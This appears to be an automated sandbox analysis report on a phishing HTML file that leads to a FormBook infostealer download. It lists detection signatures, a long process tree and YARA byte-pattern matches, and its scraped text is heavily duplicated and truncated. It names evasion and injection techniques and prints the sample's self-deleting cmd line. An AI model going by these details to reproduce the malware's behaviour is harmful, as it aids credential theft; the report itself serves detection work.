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Windows Analysis Report Doc3038210381 pdf.html

Overview

General Information

Sample 
Name:

Doc3038210381 pdf.html

Analysis ID: 552899

MD5: 4c6dceb0066e01…

SHA1: c3e61fdf3a82e16…

SHA256: c50383f477fba60…

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook
HTMLPhisherHTMLPhisher

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Phishing site detected (based on fav

Phishing site detected (based on fav

Phishing site detected (based on fav

Phishing site detected (based on fav

Phishing site detected (based on fav

Phishing site detected (based on fav

Phishing site detected (based on favPhishing site detected (based on fav……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10Yara detected HtmlPhish10

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method .NET source code contains method ……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Phishing site detected (based on log

Phishing site detected (based on log

Phishing site detected (based on log

Phishing site detected (based on log

Phishing site detected (based on log

Phishing site detected (based on log

Phishing site detected (based on logPhishing site detected (based on log……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

No HTML title found

No HTML title found

No HTML title found

No HTML title found

No HTML title found

No HTML title found

No HTML title foundNo HTML title found

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of HTML body contains low number of ……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executedFound large amount of non-executed……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 6392 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\Doc3038210381 pdf.html 

MD5: C139654B5C1438A95B321BB01AD63EF6)
chrome.exe (PID: 6608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=

1516,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1928 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3256 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 3716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3560 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3536 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 4928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3308 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5888 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3024 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3236 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3576 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4216 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4228 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 4672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4128 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4496 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1

Process Tree
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516,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5752 /
prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5040 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3668 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 2740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4960 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 3112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3596 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6236 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1

516,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5860 /
prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5704 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4684 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3408 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 2864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4236 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6168 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5788 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3704 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5704 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3968 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

Doc3038210381 (2).exe (PID: 6592 cmdline: "C:\Users\user\Downloads\Doc3038210381 (2).exe"  MD5: F98B720FA7B335C7E7B81C2F50E35FED)

Doc3038210381 (2).exe (PID: 5688 cmdline: C:\Users\user\Downloads\Doc3038210381 (2).exe MD5: F98B720FA7B335C7E7B81C2F50E35FED)

Doc3038210381 (2).exe (PID: 2212 cmdline: C:\Users\user\Downloads\Doc3038210381 (2).exe MD5: F98B720FA7B335C7E7B81C2F50E35FED)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

control.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\control.exe MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

cmd.exe (PID: 6752 cmdline: /c del "C:\Users\user\Downloads\Doc3038210381 (2).exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 5652 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

chrome.exe (PID: 5868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5664 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4496 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 4812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5488 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 4504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3652 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1

516,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5652 /
prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 2440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=5884 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3968 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3704 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3820 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

Doc3038210381 (4).exe (PID: 5156 cmdline: "C:\Users\user\Downloads\Doc3038210381 (4).exe"  MD5: F98B720FA7B335C7E7B81C2F50E35FED)

Doc3038210381 (4).exe (PID: 4692 cmdline: C:\Users\user\Downloads\Doc3038210381 (4).exe MD5: F98B720FA7B335C7E7B81C2F50E35FED)

chrome.exe (PID: 5936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=3612 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4180 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 3228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151
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Malware Configuration

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4236 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=151

6,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-service-sandbox --mojo-platform-channel-handle=4128 
/prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 2996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1

516,3288991115567119224,7010409812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=4460 /
prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

No configs have been found

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Google\Chrome\User Dat
a\Default\Cache\data_3

JoeSecurity_HtmlPhish_10 Yara detected 
HtmlPhish_10

Joe Security

Source Rule Description Author Strings

00000038.00000002.1067590564.0000000002960000.0000
0040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000038.00000002.1067590564.0000000002960000.0000
0040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000038.00000002.1067590564.0000000002960000.0000
0040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18849:$sqlite3step: 68 34 1C 7B E1
0x1895c:$sqlite3step: 68 34 1C 7B E1
0x18878:$sqlite3text: 68 38 2A 90 C5
0x1899d:$sqlite3text: 68 38 2A 90 C5
0x1888b:$sqlite3blob: 68 53 D8 7F 8C
0x189b3:$sqlite3blob: 68 53 D8 7F 8C

00000037.00000002.976848535.0000000002491000.00000
004.00000001.sdmp

JoeSecurity_AntiVM_3 Yara detected 
AntiVM_3

Joe Security

00000037.00000002.977043331.00000000024D
A000.00000004.00000001.sdmp

JoeSecurity_AntiVM_3 Yara detected 
AntiVM_3

Joe Security

Click to see the 55 entries

Source Rule Description Author Strings

44.2.Doc3038210381 (2).exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

44.2.Doc3038210381 (2).exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs
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Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Yara detected FormBook

Antivirus detection for URL or domain

Phishing:

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Phishing site detected (based on logo template match)

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

.NET source code contains potential unpacker

.NET source code contains method to dynamically call methods (often used by packers)

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

44.2.Doc3038210381 (2).exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17a49:$sqlite3step: 68 34 1C 7B E1
0x17b5c:$sqlite3step: 68 34 1C 7B E1
0x17a78:$sqlite3text: 68 38 2A 90 C5
0x17b9d:$sqlite3text: 68 38 2A 90 C5
